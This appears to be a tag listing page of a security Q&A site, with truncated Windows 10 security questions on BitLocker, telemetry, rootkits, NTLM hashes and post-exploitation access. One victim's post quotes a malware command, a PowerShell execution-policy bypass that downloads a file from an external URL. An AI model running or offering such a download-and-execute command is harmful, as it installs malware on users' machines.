Questions tagged [windows-10]

An operating system developed by Microsoft released July 2015 and designed to run across devices with multiple form factors - PC, tablet, smartphone, Xbox and HoloLens.

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My PC opens command line and tries to download some virus [duplicate]

I have some weird virus. During school today it opened my command line and typed this stuff in: cmd.exe /c PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://...
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1answer
65 views

Is encrypting the FireFox folder with EFS protecting saved passwords in case of someone accessing the hard drive?

What I want to do: Use the "save password" feature in FireFox (on Windows 10) without using FireFox's master password feature. What I'm afraid of: Someone stealing my laptop or getting access to my ...
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71 views

Can an Android Phone be used as a Windows Hello Security Key?

Microsoft Windows 10 does support physical security keys since some time. Google recently announced that Android phones can be used as security keys as well (primarily for their own services). Is ...
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43 views

Having a code-signed binary, how can I tell if it's signed with an Extended Validation (EV) certificate?

I can't seem to find an answer to this seemingly simple question. Say, on Windows, if I have a binary file: How can I tell if it was signed with an extended validation (EV) code-signing certificate? ...
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1answer
64 views

If I use a VPN, can an enterprise proxy insert itself in the middle?

I'm using the guest Wi-Fi at a large corporation, and connecting to a commercial VPN provider via the OpenVPN client. I do not know one way or another if a proxy is used on the guest wi-fi, but I ...
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1answer
74 views

How to enable concurrent users, one RDP and one local, in post exploitation in windows without disk modification?

I want to do this by just using memory and not using disk modification or a tool, in post exploitation of a remote system, i already know how to enable RDP but the problem is when a user is logged in ...
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1answer
295 views

Difference between system uptime and last boot time in windows

As it shows in attached pictures, there is a "Difference between system uptime and last boot time" in my windows, it becomes an issue because AV, SIEM or every monitoring system shows a different time ...
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89 views

How to detect file or file system tampering

I would like to know if the following is possible: Is it possible to detect a file that has been put into my file system using back dating? Are there any trace artifacts left behind which can help to ...
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1answer
109 views

How to sandbox students' Python 3 code submissions for automatic assignment evaluation on Windows 10?

I am the TA for a coding class in which students will have to write Python 3 scripts to solve programming problems. An assignment consists of several problems, and for each problem the student is ...
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2answers
183 views

Are there any security hazards to installing Ubutnu for Windows 10?

I only want a bash shell in Windows 10 that runs faster and doesn't have any of the quirks of git bash / MINGW64, like for instance all of that CRLF garbage. Is there any security harm in ...
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108 views

Escaping Windows 10 Kiosk mode?

I made a very simple cloud service (cloud gaming) using Windows 10's new feature called Assigned Access then choosing an app and a user as Kiosk PC which is used for Windows Store applications. Users ...
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39 views

Url Storage, History & Personal Data

Just Curious to Know, Where my information is being stored and how long its kept for I'm running the latest version of windows 10, my main Browser being firefox developer edition 68. I clear my ...
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24 views

Does dism.log contain any sensitive information on Windows 10?

I'm looking to learn more about GPOs and powershell and when I tried to install the RSAT GPMC I received an error. I have the log of the session in dism.log but, I'm hesitant to post it anywhere as ...
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31 views

How do you lock down a users access to ODBC settings in Windows 10?

I was working with a users computer yesterday because they complained that an MS-Access Database they were using said that an ODBC datasource was not accessible. I went to change the settings on the ...
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1answer
80 views

Gather system metrics securely from infected VM

I intend to train an RNN on snapshots of the VM metrics to classify malware. I will, therefore, run hundreds of different pieces of malware inside that VM. It has been isolated from my host (as best ...
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1answer
74 views

Unknown manufacturer of services in windows system configuration

I would like to ask if I can trust unknown manufacturer detected by windows system configuration. As you can see in the screenshot, all of the other services is known manufacturer but there is one ...
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3answers
118 views

Can any Windows app install a kernel driver? if not, then how can Anti-Viruses install kernel drivers?

Can any application install a kernel driver? if not, then how Windows decides who can and who cannot? If AVs can install kernel drivers, considering they are an application with an installer just like ...
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1answer
86 views

Blocking Standard Users (Win 10) from Adding Chrome Extensions

I want to block standard users (Win 10) from adding Chrome extensions. When the standard user renames the default folder, it overwrites any security policies applied on the Extensions folder.
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58 views

Will my Windows driver stop being reported as malware if signed? [duplicate]

I have developed an IRP hooking based driver for one of my clients. Avast oes not complain about it but his AV suite reports it as malware. The lient will eventually sign this driver, but will it ...
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46 views

CIS 2.3.4.1 (L1) Ensure 'Devices: Allowed to format and eject removable media' is set to 'Administrators and Interactive Users'

I am implementing CIS on Windows 10 1803 and I cannot work out this control. Description: This policy setting determines who is allowed to format and eject removable NTFS media. You can use this ...
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1answer
137 views

How can someone track work activity? [closed]

Problem: Recently we had an interesting thing which happened at work. My colleague was playing some Flash games at work and after some time someone from organization remarked about that and asked to ...
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2answers
182 views

Can rootkits hide their internet usage from resource-manager and third party software in windows 10? If so, how?

Lets say I have the latest windows 10 version. I also have DU meter for checking my network usage I know that in windows there is a linked list of processes that many rootkits tend to remove ...
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73 views

Is Windows RPC (port 135) secure enough for domain-wide access

I have a network of approximately 150 computers that I'd like to regularly monitor. My proposed way of doing so involves running remote commands like reg query \\<ip> or systeminfo /S <ip>....
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1answer
145 views

How do I recover a deleted file too large to go to recycle bin? [closed]

I mistakenly deleted a very important 50 gb file from my 1 tb hard drive, and the file was too big to go to recycle bin. How do I recover it?
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3answers
1k views

How does Logitech Options software automatically launch from a mouse dongle?

I recently purchased a Logitech MX Master 2S mouse. I had no intention of installing the "options software" that came with the mouse. I simply desired a wireless mouse that wasn't cheap and flimsy. ...
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65 views

What process inside Windows recognizes exploits?

When I try to save a file containing code exploiting a well-known vulnerability (link redirects to an example git-hub code), windows alerts, that a virus was found and a few seconds later, the file is ...
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1answer
91 views

Can we implement custom algorithms to encode and decode wifi password hashes between Windows 10 and our Router?

Windows 10 has its own way of encrypting hashes, but these can be brute-forced by hashcat. One of our students created 2 of his own password encryption algorithms in python (One for encode, one for ...
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2answers
210 views

If I turn off Windows Defender Credential Manager off in Windows 10 so I can run a virtual machine in Virtual Box, is that a bad idea?

My processor is supposed to support virtualization: cpu.inf:5f63e534115a322c:IntelPPM_Inst.NT:10.0.17134.765:ACPI\GenuineIntel_-_Intel64 ACPI\GENUINEINTEL_-_INTEL64_FAMILY_6_MODEL_37_-_INTEL(R)_CORE(...
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2answers
175 views

How does Window Hello protect against brute forcing?

With my Windows 10 computer, I have the option to set up a PIN with Windows Hello (I believe it's with that program). My normal Outlook password is 15+ characters mixed with upper case and lower case ...
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1answer
155 views

Is Windows 10 Vulnerable to IPv6 Router Advertisement Flooding?

In a DEFCON 19 video Sam Bowne says that windows 7 machines CPU goes to 100% if you send a bunch of IPv6 Router Advertisement requests on a network. What would happen to a Windows 10 machine? Would it ...
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49 views

Where can I configure certificate rules on Windows 10?

This excellent SSO answer recommends to use certificate rules on Windows’ executables, as explained here by Microsoft. The latter says that the “location” of this setting is: Computer Configuration\...
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What is possible with a non-administrative users Ticket Granting Ticket and/or NTLM hash?

During a penetration test, if a users NTLM hash or a valid Kerberos TGT is compromised, what attacks are possible if the user is not an administrator on any (in scope) workstations? For instance, it ...
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2answers
76 views

Can I alter the DNS cache on my Computer?

Can I alter the DNS cache of my computer. When I search online it only shows result to flush DNS cache and not how to alter it. The DNS cache saved on Windows consist of URL,serverIP and many other ...
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81 views

Extracted LM Hashes doesnt match actual password

I'm new to LM Hashing and Windows authentication, and I'm having problems with LM hashes. I've created 2 accounts with the password "123", and both of them have different hashes, and none of the ...
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1answer
71 views

Blocking a Specific Program

My issue is more towards blocking a specific application/program (In this case, the Epic Games Launcher) from accessing my files. I know the best answer is just to remove that software. The reason ...
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70 views

How to spot malwares that hide their disk usage from Resource monitor?

So lets say a malware has hid itself from task manager, so it wont show up in there. lets also say that it also hides its disk usage from resource monitor as well. (based on previously asked ...
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1answer
582 views

What is Windows Watchdog and what do we know about it?

Today I came across this term "Watchdog", and something about "DPC_WATCHDOG VIOLATION" errors in Windows. I tried googling around but I only found posts on how to fix Watchdog errors, but nothing on ...
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1answer
58 views

Vulnerabilities for Red Team assessment [closed]

I'm working on my dissertation for my bachelor's degree. I'm trying to create a framework which would make it possible to launch an entire virtual infrastructure, this would then be used to simulate a ...
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2answers
2k views

How to prevent Firefox and Chrome from opening ports in the firewall?

I have noticed that Firefox and Chrome have opened ports for unsolicited inbound traffic in the Windows firewall. This happened with Windows 7 x64 and Windows 10. (Here, I am talking about the ...
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0answers
314 views

Eventviewer empty logs with English written in Cyrillic Greek [closed]

So a while ago I entered my event viewer on windows 10 and I noticed a bunch of weird entries. They look like they where written in English but with the use of Cyrillic and Greek alphabets. I am ...
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10answers
12k views

Replacing Windows 7 security updates with anti-virus?

Microsoft has announced Windows 7 will no longer be receiving updates after January 14, 2020: Here. I hate windows 10's forced updates and telemetry so I have always stuck with Windows 7, but it may ...
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3answers
145 views

Is it ill-advised to use the same password for lock screen and full disk encryption (Windows 10 BitLocker)?

I am wondering which attacks can be prevented by using a different password for the lock screen and full disk encryption. The goal is to prevent people from accessing my data. The details of my setup ...
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1answer
572 views

Can a Windows 10 Local Account password be retrieved

I have heard that Windows (10) local accounts are not that secure. I am however particularly wondering whether the password can be retrieved using any tools. So I am not talking about resetting it ...
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52 views

Verify that a Software Restriction Policy (SRP) rule is effectively applied?

I am running Windows 10 Pro and I would like to check the software restriction policies, with timestamps on the logs if possible. Indeed, I found a solution but without timestamping on the logs. ...
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2answers
20k views

Does Windows 10's telemetry include sending *.doc files if Word crashed?

I'm reading through the extensive description on which data is acquired by Microsoft's telemetry 1 including the following paragraph: User generated files -- files that are indicated as a potential ...
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1answer
98 views

How to set up the Tor browser on Linux Mint in a VM with a VPN on the Host

(Forgive me, I don't know whether to post this here for in the "Tor" community) I'm brand new to Tor, I understand the basics of how it works and the Do's & Don'ts. I have a Windows 10 computer (...
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1answer
120 views

Why Bitlocker requires partition on some computers but not all

We have HP desktop computers all identical. I setup Bitlocker encryption on one, no partition was required and the computer was fully encrypted. Second computer gave me a different result, Bitlocker ...
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1answer
764 views

Strange and unknown user name on Windows 10

Today I was through folder information and, when I switched to the security tab, I observed that there were 5 users listed there. In this list, there was also a user called "yupgyzmhuma". I tried ...
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49 views

Remote access to Windows Workstation with credentials, after Windows 10 - 1809

I am a newbie in terms of OS security and I started learning from Windows; in particular I downloaded Win10 virtual machine and I am simulating various attack / defense scenarios on it. I would like ...
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103 views

applocker script rules blocking diagnostic troubleshooter by default

My googling came up with nothing useful. I assume others must have ran into this too. If we start the Network Troubleshooter wizard it generates some temp ps1 files that are blocked silently to the ...